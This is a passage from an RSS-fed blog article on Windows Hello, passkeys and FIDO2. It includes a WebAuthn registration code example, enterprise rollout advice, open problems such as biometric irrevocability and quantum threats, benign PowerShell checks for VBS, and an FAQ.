&lt;p&gt;Google&apos;s passkey story is centered on Google Password Manager: passkeys created on Android or Chrome sync across Android, ChromeOS, Windows, macOS, Linux, and Chrome browsers where the same account is available [@google-passkeys]. FIDO2 hardware security keys (YubiKey, Google Titan) take the opposite approach: the credential stays on a dedicated secure element, works across platforms via USB/NFC/Bluetooth, and must be provisioned deliberately on each account [@fido-u2f; @fido-how]. That trade-off buys the highest assurance available today; multi-factor cryptographic hardware authenticators are the mainstream route to NIST AAL3 [@nist-aal].&lt;/p&gt;

sequenceDiagram
    participant U as User
    participant B as Browser
    participant A as Platform Authenticator
    participant S as Relying Party Server
    U-&amp;gt;&amp;gt;B: Click Register with Passkey
    B-&amp;gt;&amp;gt;S: Request registration options
    S-&amp;gt;&amp;gt;B: Return challenge + relying party info
    B-&amp;gt;&amp;gt;A: navigator.credentials.create()
    A-&amp;gt;&amp;gt;U: Prompt biometric verification
    U-&amp;gt;&amp;gt;A: Present face / fingerprint / PIN
    A-&amp;gt;&amp;gt;A: Generate key pair in TPM
    A-&amp;gt;&amp;gt;B: Return public key + attestation
    B-&amp;gt;&amp;gt;S: Send credential to server
    S-&amp;gt;&amp;gt;S: Store public key for user
    S-&amp;gt;&amp;gt;B: Registration complete
&lt;p&gt;{`
// This shows the structure of a WebAuthn registration request.
// In production, the challenge comes from your server.&lt;/p&gt;
&lt;p&gt;const registrationOptions = {
  publicKey: {
    // Random challenge from the server (32 bytes)
    challenge: crypto.getRandomValues(new Uint8Array(32)),&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Your service identity
rp: {
  name: &quot;Example Corp&quot;,
  id: &quot;example.com&quot;
},

// User identity
user: {
  id: new Uint8Array([1, 2, 3, 4]),
  name: &quot;alice@example.com&quot;,
  displayName: &quot;Alice&quot;
},

// Acceptable key types (ES256 = ECDSA P-256)
pubKeyCredParams: [
  { type: &quot;public-key&quot;, alg: -7 }  // ES256
],

// Request a resident/discoverable credential (passkey)
authenticatorSelection: {
  residentKey: &quot;required&quot;,
  userVerification: &quot;required&quot;  // Biometric or PIN
},

// 5-minute timeout
timeout: 300000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;  }
};&lt;/p&gt;
&lt;p&gt;console.log(&quot;Registration options structure:&quot;);
console.log(JSON.stringify(registrationOptions.publicKey.rp, null, 2));
console.log(&quot;\nKey algorithm: ES256 (ECDSA P-256)&quot;);
console.log(&quot;Resident key: required (discoverable passkey)&quot;);
console.log(&quot;User verification: required (biometric or PIN)&quot;);
console.log(&quot;\nIn production, call: navigator.credentials.create(registrationOptions)&quot;);
`}&lt;/p&gt;
&lt;h2&gt;Deploying Windows Hello Today&lt;/h2&gt;
&lt;p&gt;For consumers, the simplest path is built into Windows: open &lt;strong&gt;Settings &amp;gt; Accounts &amp;gt; Sign-in options&lt;/strong&gt;, create a Windows Hello PIN first, then enroll face or fingerprint if the hardware is present [@ms-whfb]. If Windows only offers PIN, the machine lacks a compatible biometric sensor. On a laptop with an IR camera or certified fingerprint reader, enrollment takes a few minutes and the credential becomes device-bound immediately.&lt;/p&gt;
&lt;p&gt;For enterprises, Microsoft now recommends starting with Cloud Trust unless certificate-based authentication is a hard requirement. A practical rollout checklist is short: confirm devices are Entra joined or hybrid joined, deploy Microsoft Entra Kerberos, verify Windows 10 21H2+/Windows 11 clients and Windows Server 2016+ read-write domain controllers in each site, then push &lt;strong&gt;Use Windows Hello for Business&lt;/strong&gt; plus &lt;strong&gt;Use cloud trust for on-premises authentication&lt;/strong&gt; through Intune or Group Policy [@ms-cloud-trust-ga]. That is dramatically lighter than standing up PKI, ADFS, and certificate templates.&lt;/p&gt;
&lt;p&gt;ESS deserves its own hardware check. A TPM alone is not enough: ESS depends on Windows 11, VBS-capable hardware, and compatible secure biometric sensors [@ms-ess]. Unsupported systems can still use Hello, but they fall back to the older software-protected biometric path. Hardware inventory determines whether you are getting the modern threat model or merely the old UX.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Start with a pilot group, require a Hello PIN for every enrolled user, and issue at least one backup FIDO2 security key to admins and help-desk staff. The cleanest password migration is additive: enroll Hello first, prove recovery works, then remove password prompts from the highest-value workflows last.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For password migration, avoid a flag day. Keep passwords as break-glass recovery while you move device sign-in, Microsoft 365, VPN, and high-value internal apps onto Hello or passkeys first [@ms-entra-passwordless]. Measure enrollment completion, recovery success, and hardware exceptions. Once those numbers stabilize, tighten Conditional Access so phishing-resistant credentials satisfy MFA and passwords become the fallback of last resort.&lt;/p&gt;
&lt;p&gt;After 64 years, the password is finally losing its grip. But the story of Windows Hello is not a triumph -- it is a lesson in the limits of security engineering.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The Limits: What Remains Unsolved&lt;/h2&gt;
&lt;p&gt;Biometrics fail in a way passwords do not: they are hard to rotate.&lt;/p&gt;

You cannot change your face. This single fact defines the deepest unsolved problem in biometric authentication.
&lt;p&gt;Passwords can be rotated. Security keys can be replaced. But you have one face, ten fingerprints, and two irises. If a biometric template is compromised, there is no &quot;reset&quot; button.&lt;/p&gt;

A technique for generating revocable biometric templates by applying non-invertible mathematical transformations to the original biometric data. If a transformed template is compromised, a new transformation can be applied to create a fresh template from the same biometric trait. In theory, this solves the irrevocability problem. In practice, the trade-off between non-invertibility and matching accuracy remains unresolved.
&lt;h3&gt;The biometric floor&lt;/h3&gt;
&lt;p&gt;The theoretical limit on biometric authentication error is the Bayes error rate [@jain-biometric] -- the minimum achievable error when the genuine-user and impostor score distributions overlap. Per information theory, the error probability is bounded by Fano&apos;s inequality:&lt;/p&gt;
&lt;p&gt;$$P_e \geq \frac{H(X|Y) - 1}{\log |X|}$$&lt;/p&gt;
&lt;p&gt;where $P_e$ is the probability of error, $H(X|Y)$ is the conditional entropy of identity given the biometric sample, and $|X|$ is the number of possible identities. Current systems achieve a FAR of $10^{-5}$ to $10^{-6}$, but the theoretical minimum [@jain-biometric] -- given perfect sensors and optimal classifiers -- could be orders of magnitude lower. The practical gap is driven by sensor noise, environmental variability, and aging of biometric features.&lt;/p&gt;
&lt;h3&gt;Five open problems&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Cross-platform credential portability.&lt;/strong&gt; Passkeys are currently vendor-locked. An Apple passkey does not transfer to a Google account. The FIDO Alliance published draft CXP/CXF specifications [@fido-cxp] in late 2024 for encrypted credential exchange, but full cross-vendor interoperability is not expected before late 2026.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. The adversarial ML arms race.&lt;/strong&gt; Generative AI can create increasingly convincing biometric spoofs -- the Red Bleed attack [@red-bleed] used a VAE to convert RGB photos to NIR facial videos. Discriminative AI tries to detect these spoofs. This is an open-ended arms race with no known endpoint.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Account recovery.&lt;/strong&gt; When all biometric and device-based credentials fail, how does a user recover their account? Most services fall back to email or SMS [@ms-entra-passwordless] -- reintroducing the very phishable factors they were designed to eliminate. Recovery codes are functionally passwords.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Systems that fall back to passwords or SMS for account recovery reintroduce the very vulnerabilities they were designed to eliminate. A truly passwordless system needs passwordless recovery -- and no universal solution exists yet.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;4. The quantum threat.&lt;/strong&gt; Shor&apos;s algorithm [@nist-pqc] on a sufficiently large quantum computer would break all ECDSA and RSA authentication -- including every FIDO2 credential in existence. NIST finalized post-quantum standards [@nist-pqc] (ML-DSA, SLH-DSA, ML-KEM) in 2024, but no FIDO2 authenticator ships with post-quantum support as of 2026.&lt;/p&gt;

All current FIDO2/WebAuthn authentication uses ECDSA P-256, which provides 128-bit classical security. Breaking a single credential requires approximately $2^{128}$ operations -- far beyond any existing computer.&lt;p&gt;Shor&apos;s algorithm changes this equation. A cryptographically relevant quantum computer could factor the elliptic curve discrete logarithm problem in polynomial time, breaking ECDSA entirely. No such computer exists today, but the &quot;harvest now, decrypt later&quot; threat means adversaries may be collecting signed assertions now to verify forged credentials later.&lt;/p&gt;
&lt;p&gt;NIST finalized its first post-quantum cryptography standards in 2024 [@nist-pqc]: ML-DSA (formerly CRYSTALS-Dilithium) for signatures, ML-KEM (formerly CRYSTALS-Kyber) for key encapsulation, and SLH-DSA (formerly SPHINCS+) for hash-based signatures. The FIDO Alliance and W3C are exploring hybrid signature schemes that combine classical ECDSA with post-quantum algorithms, but no timeline for standardization has been published.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. The ESS hardware gap.&lt;/strong&gt; ESS requires specific secure sensors and VBS-capable CPUs [@ms-ess]. Many enterprise PCs -- particularly those shipped without an ESS-certified built-in biometric sensor, including many AMD-based and older Intel-based machines -- lack ESS capability. On these devices, Windows Hello falls back to the pre-ESS security model, leaving them vulnerable to attacks like Faceplant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Accessibility and inclusion.&lt;/strong&gt; Biometric authentication creates barriers for people with facial differences, missing fingers, or conditions that affect biometric stability. A passwordless future must ensure that non-biometric alternatives (PINs, hardware keys) remain first-class options, not afterthoughts. Behavioral biometrics -- keystroke dynamics, gait analysis, continuous session verification -- represent an emerging parallel path that may expand authentication options beyond traditional biometric modalities.&lt;/p&gt;

Open PowerShell as administrator and run:&lt;pre&gt;&lt;code&gt;Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -ClassName Win32_DeviceGuard | Select-Object VirtualizationBasedSecurityStatus
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A value of &lt;code&gt;2&lt;/code&gt; means VBS is running. Then check the biometric service:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-WinEvent -LogName Microsoft-Windows-Biometrics/Operational -MaxEvents 10 | Format-List
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look for events indicating ESS-protected biometric operations. If your device lacks ESS, consider disabling biometric sign-in on sensitive accounts and using FIDO2 hardware keys instead.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Biometric traits are permanent and finite. Unlike passwords, they cannot be changed if compromised. This irrevocability is the deepest unsolved challenge in passwordless authentication -- and no amount of better sensors or smarter algorithms can change the fact that you have one face, ten fingerprints, and two irises.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The theoretically ideal system would combine zero-knowledge biometric verification, post-quantum cryptographic authentication, hardware-attested revocable credentials, and cross-platform portability. None of this exists yet.&lt;/p&gt;
&lt;p&gt;The password&apos;s 64-year reign is ending, but its replacement is still under construction. Every generation of authentication solved one problem and revealed a deeper one. The question is not whether passwordless authentication will win -- it is whether we can build it before the attackers catch up.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;

No. Biometric data never leaves the device. During enrollment, your face or fingerprint template is stored locally, protected by the operating system (and by VBS on ESS-enabled devices). Only a public key is registered with the identity provider (Azure AD / Entra ID) [@ms-whfb]. Microsoft&apos;s servers never receive, store, or process your biometric data.

Standard photos cannot. Windows Hello uses near-infrared cameras [@ms-biometric-reqs] with anti-spoofing algorithms that distinguish between live faces and flat images. However, researchers have demonstrated advanced attacks: CVE-2021-34466 [@cyberark-bypass] used a custom USB device emulating an IR camera, and the Red Bleed attack [@red-bleed] used a custom NIR-emitting LCD display. Both have been patched, but the arms race continues.

No -- it is more secure. A Windows Hello PIN is device-bound [@ms-whfb]: it unlocks a TPM-stored private key on that specific hardware. A stolen PIN is useless without physical access to the device. A password, by contrast, works from any device on earth and can be phished, reused, or leaked in a breach.

Consumer Windows Hello [@ms-whfb] ties authentication to a personal Microsoft account. Windows Hello for Business integrates with Azure AD / Entra ID with enterprise management capabilities: conditional access policies, Intune deployment, multiple trust models (cloud, key, certificate), and group policy controls. They share the same biometric and TPM technology but have different management and security models.

No. Passkeys build on Hello&apos;s foundation. Windows Hello acts as the platform authenticator for FIDO2 passkeys [@fido-how] on Windows -- your biometric gesture unlocks the passkey stored in the TPM. Passkeys extend Hello&apos;s model to cross-platform and cross-service authentication via the WebAuthn standard [@webauthn-3].

With device-bound credentials (traditional Windows Hello), you re-enroll on the new device using your Microsoft or organizational account. With synced passkeys, credentials restore from your credential manager -- iCloud Keychain [@apple-passkeys-security] for Apple, Google Password Manager [@google-passkeys] for Android/Chrome. Registering a FIDO2 hardware security key [@fido-specs] as a backup authenticator is strongly recommended.

Not indefinitely. The asymmetric cryptography underlying Hello and FIDO2 (ECDSA P-256) is theoretically vulnerable [@nist-pqc] to quantum computers running Shor&apos;s algorithm. No quantum computer can break it today, and the timeline for cryptographically relevant quantum computers remains uncertain. NIST finalized post-quantum cryptography standards in 2024, but no FIDO2 authenticator ships with post-quantum support yet. Migration planning should begin now.
&lt;hr /&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;windows-hello-revolution&quot; keyTerms={[
  { term: &quot;TPM&quot;, definition: &quot;Trusted Platform Module -- hardware chip that generates and stores cryptographic keys&quot; },
  { term: &quot;Asymmetric cryptography&quot;, definition: &quot;Public-key/private-key system where data signed with one key is verified with the other&quot; },
  { term: &quot;FAR&quot;, definition: &quot;False Acceptance Rate -- probability a biometric system accepts an unauthorized person&quot; },
  { term: &quot;NIR&quot;, definition: &quot;Near-infrared imaging -- camera technology used by Windows Hello for anti-spoofing&quot; },
  { term: &quot;WebAuthn&quot;, definition: &quot;W3C standard browser API for public-key-based authentication&quot; },
  { term: &quot;VBS&quot;, definition: &quot;Virtualization-Based Security -- hypervisor isolation for secure processing&quot; },
  { term: &quot;ESS&quot;, definition: &quot;Enhanced Sign-in Security -- VBS-isolated biometric matching in Windows 11&quot; },
  { term: &quot;Passkey&quot;, definition: &quot;FIDO2 credential that can be synced across devices via credential managers&quot; },
  { term: &quot;FIDO2&quot;, definition: &quot;Industry standard for passwordless authentication (WebAuthn + CTAP)&quot; },
  { term: &quot;Cancelable biometrics&quot;, definition: &quot;Revocable biometric templates using non-invertible transformations&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-hello</category><category>authentication</category><category>biometrics</category><category>fido2</category><category>passkeys</category><category>security</category><category>tpm</category><author>noreply@paragmali.com (Parag Mali)</author></item></channel></rss>